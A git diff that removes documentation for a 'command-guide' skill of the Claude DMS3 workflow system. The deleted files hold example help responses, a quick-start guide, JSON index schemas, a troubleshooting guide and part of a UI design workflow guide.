-💡 常见工作流: Plan → Verify → Execute
-📖 模式参考: [Workflow Patterns](workflow-patterns.md#planning-workflow)
-```
-
----
-
-## Mode 2: Smart Recommendations 🤖
-
-### Example 1: After Planning
-
-**User**: "执行完 /workflow:plan 后下一步做什么？"
-
-**Skill Response**:
-```
-推荐的后续步骤：
-
-**🎯 主要选择**:
-1. **/workflow:execute** - 开始执行规划的任务
-   ✅ 这是最常见的下一步
-   作用: 实际执行 workflow:plan 生成的任务
-
-**📋 可选步骤**:
-2. **/workflow:action-plan-verify** - 验证规划质量
-   作用: 在执行前检查规划的一致性和完整性
-   建议: 重要项目建议先验证
-
-3. **/workflow:status** - 查看规划状态
-   作用: 查看生成的任务和当前进度
-
-**📚 完整工作流模式**:
-Plan → Verify (可选) → Execute → Review
-
-详见: [Planning Workflow Pattern](workflow-patterns.md#planning-execution)
-```
-
----
-
-### Example 2: After Execution
-
-**User**: "workflow:execute 执行完成后，推荐做什么？"
-
-**Skill Response**:
-```
-推荐的后续步骤：
-
-**🎯 主要选择**:
-1. **/workflow:review** - 审查实现结果
-   ✅ 检查代码质量、安全性、架构
-   参数: [--type=quality|security|architecture]
-
-**📊 可选步骤**:
-2. **/workflow:status** - 查看执行状态
-   作用: 确认所有任务都已完成
-
-3. **/workflow:test-gen** - 生成测试
-   作用: 为实现的功能创建测试用例
-
-4. **/workflow:session:complete** - 完成会话
-   作用: 标记工作流已完成，归档经验
-
-**🔄 如果需要修改**:
-- /task:replan - 重新规划某个任务
-- /workflow:resume - 恢复工作流
-
-详见: [Execution Review Pattern](workflow-patterns.md#execution-review)
-```
-
----
-
-## Mode 3: Full Documentation 📖
-
-### Example 1: Command Parameters
-
-**User**: "/workflow:plan 的参数是什么？"
-
-**Skill Response**:
-```
-# workflow:plan
-
-**描述**: Orchestrate 5-phase planning workflow with quality gate, executing commands and passing context between phases
-
-**参数**:
-```bash
-/workflow:plan [--agent] [--cli-execute] "text description"|file.md
-```
-
-**参数说明**:
-- `--agent` (可选): 使用 agent 模式执行规划
-- `--cli-execute` (可选): 允许在规划阶段执行 CLI 命令
-- `"text description"`: 任务描述文本
-- `file.md`: 或者提供任务描述文件路径
-
-**使用场景**: planning
-**难度级别**: 高级
-
-**使用示例**:
-```bash
-# 基本用法
-/workflow:plan "实现用户认证功能"
-
-# 使用 agent 模式
-/workflow:plan --agent "重构支付模块"
-
-# 从文件读取
-/workflow:plan --agent feature-spec.md
-
-# 允许 CLI 执行
-/workflow:plan --cli-execute "添加搜索功能"
-```
-
-**执行流程**:
-1. 上下文收集
-2. 概念规划
-3. 实现规划
-4. 任务生成
-5. 质量验证
-
-**相关命令**:
-- workflow:execute - 执行规划的任务
-- workflow:action-plan-verify - 验证规划质量
-- workflow:status - 查看规划状态
-
-**详细文档**: ../../commands/workflow/plan.md
-```
-
----
-
-## Mode 4: Beginner Onboarding 🎓
-
-### Example 1: Complete Beginner
-
-**User**: "我是新手，如何开始使用工作流系统？"
-
-**Skill Response**:
-```
-欢迎使用 Claude DMS3 工作流系统！🎉
-
-## 🚀 快速开始（3 步）
-
-### Step 1: 了解核心命令（Top 5）
-
-1. **/workflow:plan** - 规划一个功能或任务
-   用法: /workflow:plan "你想做的事情"
-
-2. **/workflow:execute** - 执行规划的任务
-   用法: /workflow:execute
-
-3. **/cli:execute** - 快速自动执行
-   用法: /cli:execute "实现XXX功能"
-
-4. **/task:create** - 创建单个任务
-   用法: /task:create "任务标题"
-
-5. **/enhance-prompt** - 优化你的提示词
-   用法: /enhance-prompt "你的想法"
-
-### Step 2: 尝试第一个工作流
-
-```bash
-# 1. 规划一个简单功能
-/workflow:plan "添加用户登录功能"
-
-# 2. 执行规划
-/workflow:execute
-
-# 3. 审查结果
-/workflow:review
-```
-
-### Step 3: 学习资源
-
-📖 **必读指南**:
-- [5分钟快速开始](getting-started.md)
-- [常见工作流模式](workflow-patterns.md)
-
-🛠️ **工具指南**:
-- [CLI 工具使用](cli-tools-guide.md)
-- [问题排查](troubleshooting.md)
-
-💡 **下一步建议**:
-1. 阅读 getting-started.md（5分钟）
-2. 尝试上面的第一个工作流
-3. 探索更多命令: 询问 "常用命令有哪些"
-
-有问题随时问 "CCW-help"！
-```
-
----
-
-### Example 2: Intermediate User
-
-**User**: "常用命令有哪些？"
-
-**Skill Response**:
-```
-## 核心命令列表（Top 14）
-
-### 🎯 工作流管理 (5个)
-1. workflow:plan - 5阶段规划
-2. workflow:execute - 执行任务
-3. workflow:review - 审查实现
-4. workflow:tdd-plan - TDD 规划
-5. workflow:test-gen - 生成测试
-
-### 🛠️ CLI 工具 (3个)
-6. cli:execute - 自动执行
-7. cli:mode:plan - 规划模式
-8. cli:analyze - 代码分析
-
-### 📋 任务管理 (3个)
-9. task:create - 创建任务
-10. task:execute - 执行任务
-11. task:breakdown - 分解任务
-
-### 🔧 实用工具 (2个)
-12. enhance-prompt - 提示词增强
-13. version - 版本信息
-
-### 💡 使用频率
-- **每天**: workflow:plan, workflow:execute, cli:execute
-- **经常**: task:create, enhance-prompt
-- **按需**: workflow:review, test-gen, tdd-plan
-
-📚 详细文档: [Index Structure](index-structure.md#essential-commands)
-```
-
----
-
-## Mode 5: Issue Reporting 📝
-
-### Example 1: Bug Report
-
-**User**: "CCW-issue"
-
-**Skill (Interactive)**:
-```
-请选择问题类型：
-1. 🐛 Bug 报告
-2. ✨ 功能请求
-3. ❓ 问题咨询
-```
-
-**User**: "1"
-
-**Skill**:
-```
-好的，我将帮您创建 Bug 报告。请回答以下问题：
-
-1. 简要描述问题：
-```
-
-**User**: "/workflow:plan 执行后没有生成任务文件"
-
-**Skill**:
-```
-2. 您执行的完整命令是什么？
-```
-
-**User**: "/workflow:plan '添加登录功能'"
-
-**Skill**:
-```
-3. 期望的结果是什么？
-```
-
-**User**: "应该在 .workflow/ 目录生成 task.json"
-
-**Skill**:
-```
-4. 实际发生了什么？
-```
-
-**User**: "命令执行了但没有生成文件"
-
-**Skill**:
-```
-✅ Bug 报告已生成！
-
-文件路径: templates/.generated/bug-2025-01-06-123456.md
-
---- 报告内容 ---
-# Bug 报告
-
-## 问题描述
-/workflow:plan 执行后没有生成任务文件
-
-## 执行的命令
-```bash
-/workflow:plan '添加登录功能'
-```
-
-## 期望行为
-应该在 .workflow/ 目录生成 task.json
-
-## 实际行为
-命令执行了但没有生成文件
-
-## 环境信息
-- 操作系统: Windows
-- 报告日期: 2025-01-06
-- 相关命令: /workflow:plan
-
----
-
-**下一步操作**:
-1. 复制以上内容到 GitHub Issues
-2. 或使用: gh issue create -F templates/.generated/bug-2025-01-06-123456.md
-
-需要更多帮助？使用 "CCW-help"
-```
-
----
-
-### Example 2: Feature Request
-
-**User**: "我想提个功能建议"
-
-**Skill (Interactive)**:
-```
-请选择问题类型：
-1. 🐛 Bug 报告
-2. ✨ 功能请求
-3. ❓ 问题咨询
-```
-
-**User**: "2"
-
-**Skill**:
-```
-好的，功能请求。请描述：
-
-1. 您希望添加什么功能？
-```
-
-**User**: "希望 /workflow:plan 能自动估算任务时间"
-
-**Skill**:
-```
-2. 这个功能解决什么问题？
-```
-
-**User**: "帮助更好地规划项目进度和资源分配"
-
-**Skill**:
-```
-3. 具体的使用场景是什么？（可选）
-```
-
-**User**: "规划大型项目时，能看到预计完成时间"
-
-**Skill**:
-```
-✅ 功能请求已生成！
-
-文件路径: templates/.generated/feature-2025-01-06-123457.md
-
---- 内容预览 ---
-# 功能请求
-
-## 功能概述
-希望 /workflow:plan 能自动估算任务时间
-
-## 问题背景
-帮助更好地规划项目进度和资源分配
-
-## 使用场景
-规划大型项目时，能看到预计完成时间
-
-## 优先级
-- [ ] 高 - 严重影响工作效率
-- [x] 中 - 有明显改善但有变通方案
-- [ ] 低 - 锦上添花
-
----
-
-可以复制到 GitHub 提交，或使用:
-gh issue create -F templates/.generated/feature-2025-01-06-123457.md
-```
-
----
-
-## Edge Cases & Error Handling
-
-### Case 1: No Results Found
-
-**User**: "搜索 xyz 命令"
-
-**Skill**:
-```
-❌ 未找到包含 "xyz" 的命令
-
-💡 建议：
-1. 尝试更广泛的关键词（如 "plan", "execute", "test"）
-2. 按类别浏览：workflow, cli, memory, task
-3. 查看所有常用命令：询问 "常用命令"
-4. 需要帮助：使用 "CCW-help"
-
-📚 快速参考：[All Commands Index](index-structure.md#all-commands)
-```
-
----
-
-### Case 2: Ambiguous Query
-
-**User**: "命令"
-
-**Skill**:
-```
-您想了解什么？请选择：
-
-1. 🔍 搜索特定命令
-2. 🤖 获取命令推荐
-3. 📖 查看命令文档
-4. 🎓 新手入门指导
-5. 📝 报告问题或建议
-
-或者直接说出具体需求，例如：
-- "搜索 planning 命令"
-- "执行完 /workflow:plan 下一步做什么"
-- "/task:create 怎么用"
-```
-
----
-
-### Case 3: Multiple Matches
-
-**User**: "execute 命令"
-
-**Skill**:
-```
-找到多个相关命令，请选择您需要的：
-
-1. **cli:execute** - CLI 自动执行（推荐新手）
-2. **task:execute** - 执行单个任务
-3. **workflow:execute** - 执行整个工作流
-
-或者询问：
-- "cli:execute 的详细文档"
-- "三者有什么区别"
-- "我该用哪个"
-```
-
----
-
-**Last Updated**: 2025-01-06

.claude/skills/command-guide/guides/getting-started.md

@@ -1,242 +0,0 @@
-# 5分钟快速上手指南
-
-> 欢迎使用 Claude DMS3！本指南将帮助您快速上手，5分钟内开始第一个工作流。
-
-## 🎯 Claude DMS3 是什么？
-
-Claude DMS3 是一个**智能开发管理系统**，集成了 69 个命令，帮助您：
-- 📋 规划和分解复杂任务
-- ⚡ 自动化代码实现
-- 🧪 生成和执行测试
-- 📚 生成项目文档
-- 🤖 使用 AI 工具（Gemini、Qwen、Codex）加速开发
-
-**核心理念**：用自然语言描述需求 → 系统自动规划和执行 → 获得结果
-
----
-
-## 🚀 最常用的14个命令
-
-### 工作流类（必会）
-
-| 命令 | 用途 | 何时使用 |
-|------|------|----------|
-| `/workflow:plan` | 规划任务 | 开始新功能、新项目 |
-| `/workflow:execute` | 执行任务 | plan 之后，实现功能 |
-| `/workflow:test-gen` | 生成测试 | 实现完成后，生成测试 |
-| `/workflow:status` | 查看进度 | 查看工作流状态 |
-| `/workflow:resume` | 恢复任务 | 继续之前的工作流 |
-
-### CLI 工具类（常用）
-
-| 命令 | 用途 | 何时使用 |
-|------|------|----------|
-| `/cli:analyze` | 代码分析 | 理解代码、分析架构 |
-| `/cli:execute` | 执行实现 | 精确控制实现过程 |
-| `/cli:codex-execute` | 自动化实现 | 快速实现功能 |
-| `/cli:chat` | 问答交互 | 询问代码库问题 |
-
-### Memory 类（知识管理）
-
-| 命令 | 用途 | 何时使用 |
-|------|------|----------|
-| `/memory:docs` | 生成文档 | 生成模块文档 |
-| `/memory:load` | 加载上下文 | 获取任务相关上下文 |
-
-### Task 类（任务管理）
-
-| 命令 | 用途 | 何时使用 |
-|------|------|----------|
-| `/task:create` | 创建任务 | 手动创建单个任务 |
-| `/task:execute` | 执行任务 | 执行特定任务 |
-
----
-
-## 📝 第一个工作流：实现一个新功能
-
-让我们通过一个实际例子来体验完整的工作流：**实现用户登录功能**
-
-### 步骤 1：规划任务
-
-```bash
-/workflow:plan --agent "实现用户登录功能，包括邮箱密码验证和JWT令牌"
-```
-
-**发生什么**：
-- 系统分析需求
-- 自动生成任务计划（IMPL_PLAN.md）
-- 创建多个子任务（task JSON 文件）
-- 返回 workflow session ID（如 WFS-20251106-xxx）
-
-**你会看到**：
-- ✅ 规划完成
-- 📋 任务列表（如：task-001-user-model, task-002-login-api 等）
-- 📁 Session 目录创建
-
----
-
-### 步骤 2：执行实现
-
-```bash
-/workflow:execute
-```
-
-**发生什么**：
-- 系统自动发现最新的 workflow session
-- 按顺序执行所有任务
-- 使用 Codex 自动生成代码
-- 实时显示进度
-
-**你会看到**：
-- ⏳ Task 1 执行中...
-- ✅ Task 1 完成
-- ⏳ Task 2 执行中...
-- （依次执行所有任务）
-
----
-
-### 步骤 3：生成测试
-
-```bash
-/workflow:test-gen WFS-20251106-xxx
-```
-
-**发生什么**：
-- 分析实现的代码
-- 生成测试策略
-- 创建测试任务
-
----
-
-### 步骤 4：查看状态
-
-```bash
-/workflow:status
-```
-
-**发生什么**：
-- 显示当前工作流状态
-- 列出所有任务及其状态
-- 显示已完成/进行中/待执行任务
-
----
-
-## 🎓 其他常用场景
-
-### 场景 1：快速代码分析
-
-**需求**：理解陌生代码
-
-```bash
-# 分析整体架构
-/cli:analyze --tool gemini "分析项目架构和模块关系"
-
-# 追踪执行流程
-/cli:mode:code-analysis --tool gemini "追踪用户注册的执行流程"
-```
-
----
-
-### 场景 2：快速实现功能
-
-**需求**：实现一个简单功能
-
-```bash
-# 方式 1：完整工作流（推荐）
-/workflow:plan "添加用户头像上传功能"
-/workflow:execute
-
-# 方式 2：直接实现（快速）
-/cli:codex-execute "添加用户头像上传功能，支持图片裁剪和压缩"
-```
-
----
-
-### 场景 3：恢复之前的工作
-
-**需求**：继续上次的任务
-
-```bash
-# 查看可恢复的 session
-/workflow:status
-
-# 恢复特定 session
-/workflow:resume WFS-20251106-xxx
-```
-
----
-
-### 场景 4：生成文档
-
-**需求**：为模块生成文档
-
-```bash
-/memory:docs src/auth --tool gemini --mode full
-```
-
----
-
-## 💡 快速记忆法
-
-记住这个流程，就能完成大部分任务：
-
-```
-规划 → 执行 → 测试 → 完成
-  ↓      ↓      ↓
-plan → execute → test-gen
-```
-
-**扩展场景**：
-- 需要分析理解 → 使用 `/cli:analyze`
-- 需要精确控制 → 使用 `/cli:execute`
-- 需要快速实现 → 使用 `/cli:codex-execute`
-
----
-
-## 🆘 遇到问题？
-
-### 命令记不住？
-
-使用 Command Guide SKILL：
-```bash
-ccw  # 或 ccw-help
-```
-
-然后说：
-- "搜索 planning 命令"
-- "执行完 /workflow:plan 后做什么"
-- "我是新手，如何开始"
-
----
-
-### 执行失败？
-
-1. **查看错误信息**：仔细阅读错误提示
-2. **使用诊断模板**：`ccw-issue` → 选择 "诊断模板"
-3. **查看排查指南**：[Troubleshooting Guide](troubleshooting.md)
-
----
-
-### 想深入学习？
-
-- **工作流模式**：[Workflow Patterns](workflow-patterns.md) - 学习更多工作流组合
-- **CLI 工具使用**：[CLI Tools Guide](cli-tools-guide.md) - 了解 Gemini/Qwen/Codex 的高级用法
-- **完整命令列表**：查看 `index/essential-commands.json`
-
----
-
-## 🎯 下一步
-
-现在你已经掌握了基础！尝试：
-
-1. **实践基础工作流**：选择一个小功能，走一遍 plan → execute → test-gen 流程
-2. **探索 CLI 工具**：尝试用 `/cli:analyze` 分析你的代码库
-3. **学习工作流模式**：阅读 [Workflow Patterns](workflow-patterns.md) 了解更多高级用法
-
-**记住**：Claude DMS3 的设计理念是让你用自然语言描述需求，系统自动完成繁琐的工作。不要担心命令记不住，随时可以使用 `ccw` 获取帮助！
-
----
-
-**祝你使用愉快！** 🎉
-
-有任何问题，使用 `ccw-issue` 提交问题或查询帮助。

.claude/skills/command-guide/guides/index-structure.md

@@ -1,326 +0,0 @@
-# Index Structure Reference
-
-Complete documentation for command index files and their data structures.
-
-## Overview
-
-The command-guide skill uses 5 JSON index files to organize and query 69 commands across the Claude DMS3 workflow system.
-
-## Index Files
-
-### 1. `all-commands.json`
-
-**Purpose**: Complete catalog of all commands with full metadata
-
-**Use Cases**:
-- Full-text search across all commands
-- Detailed command queries
-- Batch operations
-- Reference lookup
-
-**Structure**:
-```json
-[
-  {
-    "name": "workflow:plan",
-    "description": "Orchestrate 5-phase planning workflow with quality gate",
-    "arguments": "[--agent] [--cli-execute] \"text description\"|file.md",
-    "category": "workflow",
-    "subcategory": "core",
-    "usage_scenario": "planning",
-    "difficulty": "Advanced",
-    "file_path": "workflow/plan.md"
-  },
-  ...
-]
-```
-
-**Fields**:
-- `name` (string): Command name (e.g., "workflow:plan")
-- `description` (string): Brief functional description
-- `arguments` (string): Parameter specification
-- `category` (string): Primary category (workflow/cli/memory/task)
-- `subcategory` (string|null): Secondary grouping if applicable
-- `usage_scenario` (string): Primary use case (planning/implementation/testing/etc.)
-- `difficulty` (string): Skill level (Beginner/Intermediate/Advanced)
-- `file_path` (string): Relative path to command file
-
-**Total Records**: 69 commands
-
----
-
-### 2. `by-category.json`
-
-**Purpose**: Hierarchical organization by category and subcategory
-
-**Use Cases**:
-- Browse commands by category
-- Category-specific listings
-- Hierarchical navigation
-- Understanding command organization
-
-**Structure**:
-```json
-{
-  "workflow": {
-    "core": [
-      {
-        "name": "workflow:plan",
-        "description": "...",
-        ...
-      }
-    ],
-    "brainstorm": [...],
-    "session": [...],
-    "tools": [...],
-    "ui-design": [...]
-  },
-  "cli": {
-    "mode": [...],
-    "core": [...]
-  },
-  "memory": [...],
-  "task": [...]
-}
-```
-
-**Category Breakdown**:
-- **workflow** (46 commands):
-  - core: 11 commands
-  - brainstorm: 12 commands
-  - session: 4 commands
-  - tools: 9 commands
-  - ui-design: 10 commands
-- **cli** (9 commands):
-  - mode: 3 commands
-  - core: 6 commands
-- **memory** (8 commands)
-- **task** (4 commands)
-- **general** (2 commands)
-
----
-
-### 3. `by-use-case.json`
-
-**Purpose**: Commands organized by practical usage scenarios
-
-**Use Cases**:
-- Task-oriented command discovery
-- "I want to do X" queries
-- Workflow planning
-- Learning paths
-
-**Structure**:
-```json
-{
-  "planning": [
-    {
-      "name": "workflow:plan",
-      "description": "...",
-      ...
-    },
-    ...
-  ],
-  "implementation": [...],
-  "testing": [...],
-  "documentation": [...],
-  "session-management": [...],
-  "general": [...]
-}
-```
-
-**Use Case Categories**:
-- **planning**: Architecture, task breakdown, design
-- **implementation**: Coding, development, execution
-- **testing**: Test generation, TDD, quality assurance
-- **documentation**: Docs generation, memory management
-- **session-management**: Workflow control, resumption
-- **general**: Utilities, versioning, prompt enhancement
-
----
-
-### 4. `essential-commands.json`
-
-**Purpose**: Curated list of 10-15 most frequently used commands
-
-**Use Cases**:
-- Quick reference for beginners
-- Onboarding new users
-- Common workflow starters
-- Cheat sheet
-
-**Structure**:
-```json
-[
-  {
-    "name": "enhance-prompt",
-    "description": "Context-aware prompt enhancement",
-    "arguments": "\"user input to enhance\"",
-    "category": "general",
-    "subcategory": null,
-    "usage_scenario": "general",
-    "difficulty": "Intermediate",
-    "file_path": "enhance-prompt.md"
-  },
-  ...
-]
-```
-
-**Selection Criteria**:
-- Frequency of use in common workflows
-- Value for beginners
-- Core functionality coverage
-- Minimal overlap in capabilities
-
-**Current Count**: 14 commands
-
-**List**:
-1. `enhance-prompt` - Prompt enhancement
-2. `version` - Version info
-3. `cli:analyze` - Quick codebase analysis
-4. `cli:chat` - Direct CLI interaction
-5. `cli:execute` - Auto-execution
-6. `cli:mode:plan` - Planning mode
-7. `task:breakdown` - Task decomposition
-8. `task:create` - Create tasks
-9. `task:execute` - Execute tasks
-10. `workflow:execute` - Run workflows
-11. `workflow:plan` - Plan workflows
-12. `workflow:review` - Review implementation
-13. `workflow:tdd-plan` - TDD planning
-14. `workflow:test-gen` - Test generation
-
----
-
-### 5. `command-relationships.json`
-
-**Purpose**: Mapping of command dependencies and common sequences
-
-**Use Cases**:
-- Next-step recommendations
-- Workflow pattern suggestions
-- Related command discovery
-- Smart navigation
-
-**Structure**:
-```json
-{
-  "workflow:plan": {
-    "related_commands": [
-      "workflow:execute",
-      "workflow:action-plan-verify"
-    ],
-    "next_steps": ["workflow:execute"],
-    "prerequisites": []
-  },
-  "workflow:execute": {
-    "related_commands": [
-      "workflow:status",
-      "workflow:resume",
-      "workflow:review"
-    ],
-    "next_steps": ["workflow:review", "workflow:status"],
-    "prerequisites": ["workflow:plan"]
-  },
-  ...
-}
-```
-
-**Fields**:
-- `related_commands` (array): Commonly used together
-- `next_steps` (array): Typical next commands
-- `prerequisites` (array): Usually run before this command
-
-**Relationship Types**:
-1. **Sequential**: A → B (plan → execute)
-2. **Alternatives**: A | B (execute OR codex-execute)
-3. **Built-in**: A includes B (plan auto-includes context-gather)
-
----
-
-## Query Patterns
-
-### Pattern 1: Keyword Search
-```javascript
-// Search by keyword in name or description
-const results = allCommands.filter(cmd =>
-  cmd.name.includes(keyword) ||
-  cmd.description.toLowerCase().includes(keyword.toLowerCase())
-);
-```
-
-### Pattern 2: Category Browse
-```javascript
-// Get all commands in a category
-const workflowCommands = byCategory.workflow;
-const coreWorkflow = byCategory.workflow.core;
-```
-
-### Pattern 3: Use-Case Lookup
-```javascript
-// Find commands for specific use case
-const planningCommands = byUseCase.planning;
-```
-
-### Pattern 4: Related Commands
-```javascript
-// Get next steps after a command
-const nextSteps = commandRelationships["workflow:plan"].next_steps;
-```
-
-### Pattern 5: Essential Commands
-```javascript
-// Get beginner-friendly quick reference
-const quickStart = essentialCommands;
-```
-
----
-
-## Maintenance
-
-### Regenerating Indexes
-
-When commands are added/modified/removed:
-
-```bash
-bash scripts/update-index.sh
-```
-
-The script will:
-1. Scan all .md files in commands/
-2. Extract metadata from YAML frontmatter
-3. Analyze command relationships
-4. Identify essential commands
-5. Generate all 5 index files
-
-### Validation Checklist
-
-After regeneration, verify:
-- [ ] All 5 JSON files are valid (no syntax errors)
-- [ ] Total command count matches (currently 69)
-- [ ] No missing fields in records
-- [ ] Category breakdown correct
-- [ ] Essential commands reasonable (10-15)
-- [ ] Relationships make logical sense
-
----
-
-## Performance Considerations
-
-**Index Sizes**:
-- `all-commands.json`: ~28KB
-- `by-category.json`: ~31KB
-- `by-use-case.json`: ~29KB
-- `command-relationships.json`: ~7KB
-- `essential-commands.json`: ~5KB
-
-**Total**: ~100KB (fast to load)
-
-**Query Speed**:
-- In-memory search: < 1ms
-- File read + parse: < 50ms
-- Recommended: Load indexes once, cache in memory
-
----
-
-**Last Updated**: 2025-01-06

.claude/skills/command-guide/guides/troubleshooting.md

@@ -1,92 +0,0 @@
-# 常见问题与解决方案
-
-在使用 Gemini CLI 的过程中，您可能会遇到一些问题。本指南旨在帮助您诊断和解决这些常见问题，确保您能顺利使用 CLI。
-
-## 1. 命令执行失败或未找到
-
-**问题描述**:
-- 您输入的命令没有响应，或者系统提示“命令未找到”。
-- 命令执行后出现错误信息，但您不理解其含义。
-
-**可能原因**:
-- 命令拼写错误。
-- CLI 未正确安装或环境变量配置不正确。
-- 命令所需的依赖项缺失。
-- 命令参数不正确或缺失。
-
-**解决方案**:
-1.  **检查拼写**: 仔细核对您输入的命令是否正确，包括命令名称和任何参数。
-2.  **查看帮助**: 使用 `gemini help` 或 `gemini [command-name] --help` 来查看命令的正确用法、可用参数和示例。
-3.  **验证安装**: 确保 Gemini CLI 已正确安装，并且其可执行文件路径已添加到系统的环境变量中。您可以尝试重新安装 CLI。
-4.  **检查日志**: CLI 通常会生成日志文件。查看这些日志可以提供更详细的错误信息，帮助您定位问题。
-5.  **更新 CLI**: 确保您使用的是最新版本的 Gemini CLI。旧版本可能存在已知错误，通过 `gemini version` 检查并更新。
-
-## 2. 权限问题
-
-**问题描述**:
-- CLI 尝试读取、写入或创建文件/目录时，提示“权限被拒绝”或类似错误。
-- 某些操作（如安装依赖、修改系统配置）失败。
-
-**可能原因**:
-- 当前用户没有足够的权限执行该操作。
-- 文件或目录被其他程序占用。
-
-**解决方案**:
-1.  **以管理员身份运行**: 尝试以管理员权限（Windows）或使用 `sudo`（Linux/macOS）运行您的终端或命令提示符。
-    ```bash
-    # Windows (在命令提示符或 PowerShell 中右键选择“以管理员身份运行”)
-    # Linux/macOS
-    sudo gemini [command]
-    ```
-2.  **检查文件/目录权限**: 确保您对目标文件或目录拥有读/写/执行权限。您可能需要使用 `chmod` (Linux/macOS) 或修改文件属性 (Windows) 来更改权限。
-3.  **关闭占用程序**: 确保没有其他程序正在使用您尝试访问的文件或目录。
-
-## 3. 配置问题
-
-**问题描述**:
-- CLI 行为异常，例如无法连接到 LLM 服务，或者某些功能无法正常工作。
-- 提示缺少 API 密钥或配置项。
-
-**可能原因**:
-- 配置文件（如 `.gemini.json` 或相关环境变量）设置不正确。
-- API 密钥过期或无效。
-- 网络连接问题导致无法访问外部服务。
-
-**解决方案**:
-1.  **检查配置文件**: 仔细检查 Gemini CLI 的配置文件（通常位于用户主目录或项目根目录）中的设置。确保所有路径、API 密钥和选项都正确无误。
-2.  **验证环境变量**: 确认所有必要的环境变量（如 `GEMINI_API_KEY`）都已正确设置。
-3.  **网络连接**: 检查您的网络连接是否正常，并确保没有防火墙或代理设置阻止 CLI 访问外部服务。
-4.  **重新初始化配置**: 对于某些配置问题，您可能需要使用 `gemini cli-init` 命令重新初始化 CLI 配置。
-    ```bash
-    gemini cli-init
-    ```
-
-## 4. 智能代理 (LLM) 相关问题
-
-**问题描述**:
-- 智能代理的响应质量不佳，不相关或不准确。
-- 代理响应速度慢，或提示达到速率限制。
-
-**可能原因**:
-- 提示不够清晰或缺乏上下文。
-- 选择了不适合当前任务的 LLM 模型。
-- LLM 服务提供商的速率限制或服务中断。
-
-**解决方案**:
-1.  **优化提示**: 尝试使用 `enhance-prompt` 命令来优化您的输入，提供更清晰、更具体的上下文信息。
-2.  **选择合适的工具**: 根据任务类型，使用 `--tool` 标志选择最合适的 LLM 模型（如 `codex` 适用于代码生成，`gemini` 适用于复杂推理）。
-    ```bash
-    gemini analyze --tool gemini "分析这个复杂算法"
-    ```
-3.  **检查 API 密钥和配额**: 确保您的 LLM 服务 API 密钥有效，并且没有超出使用配额。
-4.  **重试或等待**: 如果是速率限制或服务中断，请稍后重试或联系服务提供商。
-
-## 5. 寻求帮助
-
-如果以上解决方案都无法解决您的问题，您可以：
-
--   **查阅官方文档**: 访问 Gemini CLI 的官方文档获取更全面的信息。
--   **社区支持**: 在相关的开发者社区或论坛中提问。
--   **提交问题**: 如果您认为是 CLI 的 bug，请在项目的问题跟踪器中提交详细的问题报告。
-
-希望本指南能帮助您解决遇到的问题，让您更好地利用 Gemini CLI！

.claude/skills/command-guide/guides/ui-design-workflow-guide.md

@@ -1,316 +0,0 @@
-# UI Design Workflow Guide
-
-## Overview
-
-The UI Design Workflow System is a comprehensive suite of 11 autonomous commands designed to transform intent (prompts), references (images/URLs), or existing code into functional, production-ready UI prototypes. It employs a **Separation of Concerns** architecture, treating Style (visual tokens), Structure (layout templates), and Motion (animation tokens) as independent, mix-and-match components.
-
-## Command Taxonomy
-
-### 1. Orchestrators (High-Level Workflows)
-
-These commands automate end-to-end processes by chaining specialized sub-commands.
-
-- **`/workflow:ui-design:explore-auto`**: For creating *new* designs. Generates multiple style and layout variants from a prompt to explore design directions.
-- **`/workflow:ui-design:imitate-auto`**: For *replicating* existing designs. Creates design systems from local reference files (images, code) or text prompts.
-
-### 2. Core Extractors (Specialized Analysis)
-
-Agents dedicated to analyzing specific aspects of design.
-
-- **`/workflow:ui-design:style-extract`**: Extracts visual tokens (colors, typography, spacing, shadows) into `design-tokens.json`.
-- **`/workflow:ui-design:layout-extract`**: Extracts DOM structure and CSS layout rules into `layout-templates.json`.
-- **`/workflow:ui-design:animation-extract`**: Extracts motion patterns into `animation-tokens.json`.
-
-### 3. Input & Capture Utilities
-
-Tools for gathering raw data for analysis.
-
-- **`/workflow:ui-design:capture`**: High-speed batch screenshot capture for multiple URLs.
-- **`/workflow:ui-design:explore-layers`**: Interactive, depth-controlled capture (e.g., capturing modals, dropdowns, shadow DOM).
-- **`/workflow:ui-design:import-from-code`**: Bootstraps a design system by analyzing existing CSS/JS/HTML files.
-
-### 4. Assemblers & Integrators
-
-Tools for combining components and integrating results.
-
-- **`/workflow:ui-design:generate`**: Pure assembler that combines Layout Templates + Design Tokens into HTML/CSS prototypes.
-- **`/workflow:ui-design:update`**: Synchronizes generated design artifacts with the main project session for implementation planning.
-
----
-
-## Common Workflow Patterns
-
-### Workflow A: Exploratory Design (New Concepts)
-
-**Goal:** Create multiple design options for a new project from a text description.
-
-**Primary Command:** `explore-auto`
-
-**Steps:**
-
-1. **Initiate**: User runs `/workflow:ui-design:explore-auto --prompt "Modern fintech dashboard" --style-variants 3`
-2. **Style Extraction**: System generates 3 distinct visual design systems based on the prompt.
-3. **Layout Extraction**: System researches and generates responsive layout templates for a dashboard.
-4. **Assembly**: System generates a matrix of prototypes (3 styles × 1 layout = 3 prototypes).
-5. **Review**: User views `compare.html` to select the best direction.
-
-**Example (Non-Interactive - Default):**
-
-```bash
-/workflow:ui-design:explore-auto \
-  --prompt "Modern SaaS landing page with hero, features, pricing sections" \
-  --style-variants 3 \
-  --layout-variants 2 \
-  --session WFS-001
-```
-
-**Output:**
-- `design-tokens-v1.json`, `design-tokens-v2.json`, `design-tokens-v3.json` (3 style variants)
-- `layout-templates-v1.json`, `layout-templates-v2.json` (2 layout variants)
-- 6 HTML prototypes (3 × 2 combinations)
-- `compare.html` for side-by-side comparison
-
-**Example (Interactive Mode):**
-
-```bash
-/workflow:ui-design:explore-auto \
-  --prompt "Modern SaaS landing page with hero, features, pricing sections" \
-  --style-variants 5 \
-  --layout-variants 4 \
-  --interactive \
-  --session WFS-001
-```
-
-**Interactive Flow:**
-1. System generates 5 style concepts
-2. **User selects** 2-3 preferred styles (multi-select)
-3. System generates 4 layout concepts
-4. **User selects** 2 preferred layouts (multi-select)
-5. System generates only 4-6 final prototypes (selected combinations)
-
-
-
----
-
-### Workflow B: Design Replication (Imitation)
-
-**Goal:** Create a design system and prototypes based on existing local references.
-
-**Primary Command:** `imitate-auto`
-
-**Steps:**
-
-1. **Initiate**: User runs `/workflow:ui-design:imitate-auto --input "design-refs/*.png"` with local reference files
-2. **Input Detection**: System detects input type (images, code files, or text)
-3. **Extraction**: System extracts a unified design system (style, layout, animation) from the references.
-4. **Assembly**: System creates prototypes using the extracted system.
-
-**Example:**
-
-```bash
-# Using reference images
-/workflow:ui-design:imitate-auto \
-  --input "design-refs/*.png" \
-  --session WFS-002
-
-# Or importing from existing code
